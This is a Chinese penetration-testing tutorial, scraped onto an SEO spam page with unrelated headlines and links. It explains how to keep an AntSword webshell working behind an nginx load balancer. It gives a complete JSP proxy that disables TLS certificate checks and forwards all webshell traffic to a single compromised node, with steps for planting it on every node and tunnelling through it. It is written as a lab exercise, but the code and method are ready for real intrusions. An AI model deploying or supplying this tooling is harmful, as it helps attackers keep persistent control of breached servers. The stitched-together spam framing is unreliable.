当前位置: 首页 > news >正文

网站设计 开发人员登陆网站空间的后台

网站设计 开发人员,登陆网站空间的后台,网站设计中搜索界面怎么做,校园门户网站开发需求一、首先环境配置 1.上传文件并解压 2.进入目录下 为了方便解释#xff0c;我们只用两个节点#xff0c;启动之后#xff0c;大家可以看到有 3 个容器#xff08;可想像成有 3 台服务器就成#xff09;。 二、使用蚁剑去连接 因为两台节点都在相同的位置存在 ant.jsp我们只用两个节点启动之后大家可以看到有 3 个容器可想像成有 3 台服务器就成。   二、使用蚁剑去连接 因为两台节点都在相同的位置存在 ant.jsp所以连接的时候也没出现什么异常。 一旦有一台机器上没有ant.jsap那再次请求的时候就会出现 404 错误就是一会正常一会错误漂移ip的问题 三、实际问题 1.1我们访问的时候不知道在那台机器执行      解决多上传 1.2文件上传的时候不知道上传到那台机器无法知道下次请求谁进行执行的 1.3上传**工具时候不知道上传到那台机器分片文件上传不完整 1.4反向连接内网所有机器无法访问外网咱们把飘逸的机器当做服务器部署例如reGeorge/HtAbs这些工具我们与内部建立的传输隧道当ip飘逸的时候传输便会中断1 四、解决 1.1关掉一套机器作死玩法 1.2写一个shell脚本在执行命令前判断一下是不是此机器再选择性执行 实现效果 1.3在Web 层做一次 HTTP 流量转发  虽然我们不能访问但是NGinx可以两台服务器也是可以的 图解 总结不管我怎么访问我通过转发后的结果是始终在访问一台机器 1.4我们使用流量转发的代码 % page contentTypetext/html;charsetUTF-8 languagejava % % page importjavax.net.ssl.* % % page importjava.io.ByteArrayOutputStream % % page importjava.io.DataInputStream % % page importjava.io.InputStream % % page importjava.io.OutputStream % % page importjava.net.HttpURLConnection % % page importjava.net.URL % % page importjava.security.KeyManagementException % % page importjava.security.NoSuchAlgorithmException % % page importjava.security.cert.CertificateException % % page importjava.security.cert.X509Certificate % %!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}} %%String target http://172.20.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close(); % 1.5具体操作总结 1.5.1我们将 target 指向了 LBSNode1 的 ant.jsp 注意: a) 不要使用上传功能上传功能会分片上传导致分散在不同 Node 上。 b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以保存了很多次保证每一台都上传了脚本 1.5.2 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址其它配置不变 1.5.3 测试执行命令, 查看 IP 可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理都已经跟单机的情况没什么区别了。 1.5.4 查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程 Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件符合 nginx 此时的 LBS 策略。 五、整体实验总结 优点 低权限就可以完成如果权限高的话还可以通过端口层面直接转发不过这跟 1.1的关服务就没啥区别了 流量上只影响访问 WebShell 的请求其它的正常业务请求不会影响。 适配更多工具 缺点 该方案需要「目标 Node」和「其它 Node」 之间内网互通如果不互通就凉了
http://www.dnsts.com.cn/news/57886.html

相关文章:

  • 化工网站建设怎么找关键词
  • 做棋盘游戏辅助的网站特效素材免费下载网站
  • 主机开通成功网站建设中wordpress 3.5.2 漏洞
  • 网站建设基础问题如何上传网站数据库
  • 广东企业移动网站建设哪家好asp网站咋做
  • 小明seo教程为什么做网站结构优化
  • 兰州市住房城乡建设局网站河北建基官网
  • 为推广网站做的宣传活动wordpress 飘窗
  • 外贸网站建设费用一般要多少怎么用手机做抖音上最火的表白网站
  • wordpress 编辑权限 发文章惠州网站建设乐云seo在线制作
  • 网站查询服务器58同城石家庄网站建设
  • 青海建设厅官方网站如何做制作头像的网站
  • 温州网站设计公司个人备案经营网站
  • 凡科建站怎么导出网页一套会员管理系统多少钱
  • 网站一般用什么服务器网上挣钱
  • 网站建设公司考察郑州的建设网站有哪些手续费
  • 网站建设工作分解结构图或表wordpress转入插件
  • 免费建站平台哪个好重庆建网站公司
  • 苏州网站设计kgwl为什么网站要域名解析
  • 网站建设方法冫金手指排名26企业为什么要纳税
  • 嘉兴网站开发选哪家青岛网上房地产
  • 免费ppt模板大全免费下载网站大连网站制作信ls15227
  • 中文网站建设中模板光伏发电国家最新政策
  • 锦州网站开发建设抚州市城乡建设局网站
  • 香河做网站公司湖南正规关键词优化首选
  • 找学校的网站贵阳网站建设odenet
  • 金华做网站报价百度广告怎么推广
  • 一个成功的网站要具备哪些爬虫做视频网站
  • 怎么在百度推广自己的网站宁波镇海区优秀全网seo优化
  • 宝安做网站的天津网站制作哪个好